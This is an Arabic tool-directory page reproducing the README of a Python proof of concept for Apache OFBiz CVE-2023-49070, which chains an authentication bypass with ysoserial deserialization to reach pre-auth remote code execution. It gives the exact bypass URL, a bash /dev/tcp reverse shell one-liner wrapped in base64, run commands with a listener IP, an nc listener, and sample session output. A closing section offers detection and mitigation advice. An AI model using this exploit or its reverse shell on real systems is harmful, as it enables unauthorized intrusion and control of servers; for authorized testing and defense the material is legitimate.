Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-49070 — Python PoC لـ Apache OFBiz CVE-2023-49070: تجاوز المصادقة على /webtools/control/xmlrpc بالإضافة إلى سلسلة gadget من ysoserial لتحقيق RCE عبر إلغاء التسلسل قبل المصادقة. | Kitploit
أدوات/GitHubGitHub/bardlaudian/cve-2023-49070
أدوات دفاعيةتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمر
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

Python PoC لـ Apache OFBiz CVE-2023-49070: تجاوز المصادقة على /webtools/control/xmlrpc بالإضافة إلى سلسلة gadget من ysoserial لتحقيق RCE عبر إلغاء التسلسل قبل المصادقة.

عرض المستودعالموقع الإلكتروني
1منذ 10س 37دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ofbiz-xmlrpc-rce (CVE-2023-49070)

إثبات مفهوم (PoC) لثغرة RCE عبر إلغاء تسلسل XML-RPC قبل المصادقة في Apache OFBiz، والمُتتبَّعة بالمعرّف CVE-2023-49070: مسار تجاوز المصادقة يفتح نقطة النهاية القديمة /webtools/control/xmlrpc، والتي تقوم بإلغاء تسلسل كائن Java يتحكم فيه المهاجم ويُهرَّب داخل معامل <serializable> في XML-RPC.

⚠️ لاختبارات الأمان المصرَّح بها فقط. لا تشغّل هذا إلا ضد أنظمة تملكها أو مصرَّح لك صراحةً باختبارها (بيئات CTF/المختبر، المهام ذات النطاق الموقَّع، إلخ). الوصول غير المصرَّح به إلى أنظمة الحاسوب غير قانوني في معظم الولايات القضائية.

الثغرة

عادةً ما تحمي مصادقة view-map في Apache OFBiz المسار /webtools/control/xmlrpc. يمكن خداع الإصدارات المتأثرة (< 18.12.10) لتخطي هذا الفحص عبر إلحاق فاصلة منقوطة مع معاملات استعلام محددة بالمسار:

root@kitploit:~
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

بمجرد أن يصبح قابلاً للوصول، تقبل نقطة النهاية طلبات XML-RPC. يدعم تنفيذ Java لـ Apache XML-RPC نوع امتداد <serializable>: يُفكّ ترميز base64 لمحتوى العنصر ويُمرَّر مباشرةً إلى ObjectInputStream.readObject() — وهو إلغاء تسلسل Java غير آمن كلاسيكي. مع سلسلة gadget مناسبة على classpath (يستخدم هذا الـ PoC افتراضيًا عبر )، يترجم ذلك مباشرةً إلى تنفيذ أوامر عن بُعد بصلاحيات مستخدم نظام التشغيل الذي يشغّل OFBiz.

CommonsBeanutils1
ysoserial

هذه هي نفس عائلة الخلل في ثغرات إلغاء تسلسل XML-RPC السابقة في OFBiz (مثل الشقيق المتعلق بتجاوز المصادقة في CVE-2023-51467)؛ لطالما كان لدى OFBiz نمط متكرر من أزواج تجاوز المصادقة + إلغاء التسلسل على نقطة النهاية هذه، لذا تحقق من نطاق CVE/الإصدار الدقيق الذي ينطبق على هدفك قبل الاعتماد على هذا الـ PoC.

ما الذي يفعله هذا السكربت

  1. يبني reverse shell بالشكل bash -i >& /dev/tcp/LHOST/LPORT 0>&1، ويرمّزه بـ base64، ويلفّه في سطر واحد bash -c 'echo ... | base64 -d | bash' (يتفادى تشويه محارف shell الوصفية لاحقًا في سلسلة التنفيذ).
  2. يستدعي ysoserial لبناء سلسلة gadget متسلسلة (CommonsBeanutils1 افتراضيًا، وقابلة للتكوين) تشغّل ذلك السطر الواحد.
  3. يرمّز بايتات الـ gadget بـ base64 ويلفّها في حمولة XML-RPC <serializable>.
  4. يرسلها عبر POST إلى TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.
  5. يبلّغ عن حالة HTTP ويشير إلى ما إذا كان جسم الاستجابة يحتوي على علامة خطأ ما بعد إلغاء التسلسل الخاصة بـ OFBiz (No such service) — وهي إشارة إلى أن الحمولة قد عُولجت، وليست دليلًا على تنفيذ الكود.

ما الذي لا يفعله هذا السكربت

لا يمكنه تأكيد حصولك على shell — يعيد OFBiz خطأً عامًا في كلتا الحالتين بمجرد تشغيل إلغاء التسلسل (طريقة XML-RPC نفسها، Dns، غير موجودة كخدمة حقيقية). احرص دائمًا على تشغيل المستمع لديك وتحقّق منه، وليس فقط من مخرجات وحدة تحكم السكربت.

المتطلبات

  • Python 3.8+، pip install requests --break-system-packages
  • Java (أي إصدار متوافق مع بناء ysoserial لديك)
  • ysoserial-all.jar — ابنِه بنفسك من frohoff/ysoserial (mvn clean package -DskipTests) أو احصل على jar من الإصدارات. غير مضمَّن هنا — فهو أداة طرف ثالث كبيرة لها ترخيصها الخاص.

الاستخدام

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

ابدأ مستمعًا أولًا:

root@kitploit:~
nc -lvnp 4444

جميع الخيارات

FlagDefaultDescription
--target(required)Target base URL, e.g. https://ofbiz.target.tld
--lhost(required)Your listener IP
--lport(required)Your listener port
--ysoserialysoserial-all.jarPath to the ysoserial jar
--gadgetCommonsBeanutils1ysoserial gadget chain to use
--java-binjavaJava binary to invoke
--timeout15HTTP request timeout (seconds)
--proxy(none)Optional HTTP(S) proxy, e.g. for routing through Burp

تجربة سلاسل gadget أخرى

CommonsBeanutils1 هو الخيار الكلاسيكي لـ OFBiz (فهو يضمّن commons-beanutils على classpath)، لكن إن لم ينجح، فإن مكتبات OFBiz المضمَّنة تدعم سلاسل أخرى أيضًا. ما عليك سوى تبديل --gadget:

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

جلسة مثال

root@kitploit:~
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

الكشف والتخفيف (ملاحظات دفاعية)

  • قم بالترقيع إلى Apache OFBiz 18.12.10 أو أحدث (أو الإصدار المرقَّع الحالي لفرعك) — فهذا يغلق مسار تجاوز المصادقة ويقوّي إلغاء التسلسل على نقطة نهاية XML-RPC.
  • عطّل أو قيّد /webtools/control/xmlrpc إن لم تكن تستخدم تكامل XML-RPC فعليًا؛ فمكوّن webtools عمومًا هدف شائع ولا ينبغي أن يكون مواجهًا للإنترنت دون سبب قوي.
  • رشّح مقاطع المسار القائمة على الفاصلة المنقوطة على طبقة WAF/reverse-proxy كدفاع في العمق — فالعديد من ثغرات تجاوز المصادقة في OFBiz تشترك في حيلة ; هذه ضد تحليل مسار Java servlet.
  • تقوية إلغاء التسلسل: استخدم مرشّح إلغاء تسلسل استباقي (ObjectInputFilter، المتاح منذ JEP 290 / Java 9+) لحظر فئات سلاسل gadget المعروفة من أن تُنشأ أبدًا، بغض النظر عن نقطة النهاية التي تُشغّل إلغاء التسلسل.
  • راقب: طلبات POST إلى */control/xmlrpc* التي تحتوي على عناصر <serializable>، والاتصالات الصادرة غير المتوقعة من مضيف OFBiz، والعمليات الفرعية التي تُنشئها عملية Java التي تشغّل OFBiz.

المراجع

  • NVD — CVE-2023-49070
  • Apache OFBiz security advisories
  • ysoserial

الترخيص

MIT — راجع LICENSE.

تنزيل الأداة